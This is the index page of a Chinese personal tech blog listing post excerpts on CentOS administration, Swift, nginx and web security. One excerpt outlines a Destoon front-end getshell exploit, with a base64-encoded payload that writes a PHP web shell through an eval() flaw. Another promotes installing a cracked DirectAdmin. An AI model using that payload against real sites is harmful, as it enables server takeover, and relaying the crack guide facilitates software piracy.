比别人多一点志气,你就会多一份出息 [登录·注册]

吕滔博客

首页 开发 运维 工具 摄影
  • 09510

    Linux启动报错UNEXPECTED INCONSISTENCY解决方法

    memory 1.     首先在命令行输入(可选) mount | grep ''on /''得到root用户所在分区/dev/your_partition 2.     然后在命令行输入 fsck -y /dev/root #fsck -y /dev/your_partition #检测并修复磁盘/dev/root,-y 选项指定检测每个文件是自动输入yes 4.     继续...

    运维 CentOS 发布于 2014-10-31
  • 01463

    命名空间

    memoryObjective-C 一个一直以来令人诟病的地方就是没有命名空间,在应用开发时,所有的代码和引用的静态库最终都会被编译到同一个域和二进制中。这样的后果是一旦我们有重复的类名的话,就会导致编译时的冲突和失败。为了避免这种事情的发生,Objective-C 的类型一般都会加上两到三个字母的前缀,比如 Apple 保留的 NS 和 UI 前缀,各个系统框架的前缀 SK (StoreKit),CG (CoreGraphic) 等。Objective-C 社区的大部分开发者也遵守了这个约定,一般都...

    Swift TIP Swift 发布于 2014-10-29
  • 08191

    6步骤实现CentOS系统环境精简优化

    memory第一步、删除不必要的自带软件包yum remove Deployment_Guide-en-US finger cups-libs cups ypbind yum remove bluez-libs desktop-file-utils ppp rp-pppoe wireless-tools irda-utils yum remove sendmail* samba* talk-server finger-server bind* xinetd yum remove nfs-util...

    运维 CentOS 发布于 2014-10-29
  • 07364

    通过定制nginx的rpm包学习如何制作rpm安装包

    memoryRPM是RedHat Package Manager(RedHat软件包管理工具)的缩写,是一种用于互联网下载包的打包及安装工具,它包含在某些Linux分发版中。它生成具有.RPM扩展名的文件。使用rpm安装软件和管理软件非常的方便。而这节我们不是介绍如何使用rpm安装或管理软件,而是如何把源码制作成rpm包。 下面我们以制作nginx的rpm开始介绍其制作方法。以下操作在centos-5 32系统进行。 制作nginx的rpm例子 1、建立目录结构 /usr/src/redhat/SOU...

    工具 Linux, Nginx 发布于 2014-10-26
  • 06834

    linux 查找目录或文件

    memory查找目录:find /(查找范围) -name '查找关键字' -type d 查找文件:find /(查找范围) -name 查找关键字 -print如果需要更进一步的了解,可以参看Linux的命令详解。这里摘抄如下:·find path -option [ -print ] [ -exec -ok command ] {} /; #-print 将查找到的文件输出到标准输出 #-exec command {} /;     -----将查到的文件...

    运维 Linux 发布于 2014-10-26
  • 09958

    Linux 查看登录日志及登录失败用户的ip

    memoryLinux 查看登录成功的用户信息命令: last最新的登录记录在最前面,所以可以用 一下命令来查看。last | less查看登录失败的用户信息命令: lastb查看登录日志命令:  tail /var/log/secure

    工具 Linux 发布于 2014-10-25
  • 18119

    destoon前台getshell漏洞-乌云公开篇

    memory问题文件 admin/tag.inc.php 95行 eval($tag_code); 未对用户提交的执行代码tag_code做安全限制 1.前台注册会员 2.进入会员中心,发布一条求购信息信息标题:随意行业分类:随意产品图片:通过审查元素,修改 post[thumb] 的value为 ?file=tag&action=preview&tag_code=file_put_contents(base64_decode(MC5waHA),base64_decode(PD9wa...

    工具 Destoon 发布于 2014-10-24
  • 01270

    实例方法的动态调用

    memory在 Swift 中有一类很有意思的写法,可以让我们不直接使用实例来调用这个实例上的方法,而是通过类型取出这个类型的某个实例方法的签名,然后再通过传递实例来拿到实际需要调用的方法。比如我们有这样的定义:class MyClass { func method(number: Int) -> Int { return number + 1 } }想要调用 method 方法的话,最普通的使用方式是生成 MyClass 的实例,然后用 .method 来调用它...

    Swift TIP Swift 发布于 2014-10-22
  • 03035

    简单的CentOS服务器安全配设置(入门篇)

    memory  在繁多的服务器中,CentOS服务器算是一个佼佼者,以自己的优势,CentOS服务器得到了很多的网友的拥护。那么,如何对CentOS服务器的安全性有个保障呢?下面,就对CentOS服务器的一些安全问题给出一个很好的解决方法。1、用防火墙关闭不须要的任何端口,别人PING不到服务器,威胁自然减少了一大半。防止别人ping的方法:1)命令提示符下打,0表示允许,1表示禁止echo 1 > /proc/sys/net/ipv4/icmp_ignore_all2)用防火墙禁止(或丢弃) ...

    运维 CentOS, 安全 发布于 2014-10-20
  • 04530

    记一次内网中phpcms故障处理之windows2003+php运行越用越慢

    memory前几天一朋友给我说,他帮两个政府单位服务的两个网站,差不多同时间出现了访问一段时间后,网站打开就非常慢的情况.主机环境是windows2003+apache+PHP+mysql,但如果把apache重启一下就OK,又非常快.我的第一反应就是apache的线程不够用,看了一下错误日志,的确也提示线程不够了,修改了一下apache的线程<IfModule prefork.c> StartServers 8 MinSpareServers ...

    工具 Apache 发布于 2014-10-15
  • 01443

    方法嵌套

    memory方法终于成为了一等公民,也就是说,我们可以将方法当作变量或者参数来使用了。更进一步地,我们甚至可以在一个方法中定义新的方法,这给代码结构层次和访问级别的控制带来的新的选择。想想看有多少次我们因为一个方法主体内容过长,而不得不将它重构为好几个小的功能块的方法,然后在原来的主体方法中去调用这些小方法。这些具体负责一个个小功能块的方法也许一辈子就被调用这么一次,但是却不得不存在于整个类型的作用域中。虽然我们会将它们标记为私有方法,但是事实上它们所承担的任务往往和这个类型没有直接关系,而只是会在这...

    Swift TIP Swift 发布于 2014-10-15
  • 07457

    DirectAdmin开心版+中文语言包安装教程

    memory首先创建一个文件夹来放置DirectAdmin,执行以下命令:mkdir -p /usr/local/directadmin将update2.tar.gz压缩包内的文件解压到刚创建的目录:tar xvf update2.tar.gz -C /usr/local/directadmin分别运行下面三行命令。注意,最后一行命令有点长,别以为是几行命令,事实上只是一行。yum -y update yum -y install dos2unix patch screen unzip lftp ta...

    工具 发布于 2014-10-14
  • 01459

    下标

    memory下标相信大家都很熟悉了,在绝大多数语言中使用下标来读写类似数组或者是字典这样的数据结构的做法,似乎已经是业界标准。在 Swift 中,Array 和 Dictionary 当然也实现了下标读写:var arr = [1,2,3] arr[2] // 3 arr[2] = 4 // arr = [1,2,4] var dic = ["cat":"meow", "goat":"mie&q...

    Swift TIP Swift 发布于 2014-10-08
  • 011328

    tengine2+mysql-5.6+php5.5 Linux 服务器环境架构

    memory升级所需要的库sudo -s LANG=C yum install -y wget gcc gcc-c++ openssl* curl curl-devel libxml2 libxml2-devel glibc glibc-devel glib2 glib2-devel gd gd2 gd-devel gd2-devel libaio autoconf libjpeg libjpeg-devel libpng libpng-devel freetype freetype-devel二...

    运维 CentOS, Linux, PHP, Nginx, MySQL 发布于 2014-10-05
  • 08234

    WEB开发中一些常见的攻击方式及简单的防御方法

    memorySQL注入 最常见的攻击方式,所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到SQL注入式攻击.跨站脚本攻击(XSS) 跨站脚本攻击(也称为XSS)指利用网站漏洞从用户那里恶意盗取信息。文件包含 由于开发人员编写源码,开放着将可重复使用的代码插入到单个的文件中,并在需要的时候将它们包含在特殊的功能代码文件中,...

    开发 安全 发布于 2014-10-05
  • 12

    网站状态

    • 栏目分类:49个
    • 发布文章:1313篇
    • 用户评论:690条
    • 开博至今:3979天

    正则速查

    [abc] 匹配中括号中的单个字符,如a或b或c
    [^abc] 匹配除了a、b、c等字符的其他单个字符
    [a-z] 匹配一个字符范围,如a到z
    [a-zA-Z] 匹配一个字符范围,如a-z 或 A-Z
    ^ 匹配行的开始
    $ 匹配行的结束
    \A 匹配一个字符串的开始
    \z 匹配一个字符串的结束
    . 匹配任意单个字符
    \s 匹配空白字符,如空格,TAB
    \S 匹配非空白字符
    \d 匹配一个数字
    \D 匹配非数字
    \w 匹配一个字母
    \W 匹配非字母
    \b 匹配字符边界
    (...) 引用所有括号中的内容
    (a|b) a或者b
    a? 零个或1个a
    a* 零个或多个a
    a+ 1个或多个a
    a{3} 3次重复的a
    a{3,} 3次或3次以上重复的a
    a{3,6} 3到6次重复的a

    修正符

    /g 查找所有可能的匹配
    /i 不区分大小写
    /m 多行匹配
    /s 单行匹配
    /x 忽略空白模式
    /e 可执行模式,PHP专有
    /A 强制从目标字符串开头匹配
    /D 使用$限制结尾字符,则不允许结尾有换行
    /U 只匹配最近的一个字符串;不重复匹配

    最新回复

    • pengcheng: 已解决
    • pengcheng: Oops! It seems that sphinx was b...
    • 券都有: 感谢分享
    • memory: 这是我3年前玩过一次,当时因为安装完后,发现日常办公还好,但是好...
    • sdf: 想问一下,激活工具激活后,后面会出现提示要再次重新激活吗?
    • memory: 你要用碗装我吗?还是要我把扔的扔进你碗里???!!! &^_^&
    • 薛才杰: 同感,快扔到我的碗里来。。。
    • memory: 要说明一下,在大陆及香港的云主机或VPS,都是不支持的。原因都懂...
    • 历史趣谈LishiQtan: 很好的文章,值得收藏
    • memory: 现在回头看,,,这么烂的代码,也是醉了.
    • memory: 有空试试apache的
    • 脚踏实地: rInfo数组是怎么来的
    • 朋友们: 我都是这么建站的
    • memory: 明眼人.
    • 上官元恒: $lunarInfo数组是怎么来的,这是重点
    • memory: 你知道的太多了...
    • yjl: 这个肯定解决的不是空间的问题,可能是复用的问题,有可能是“站群”的问题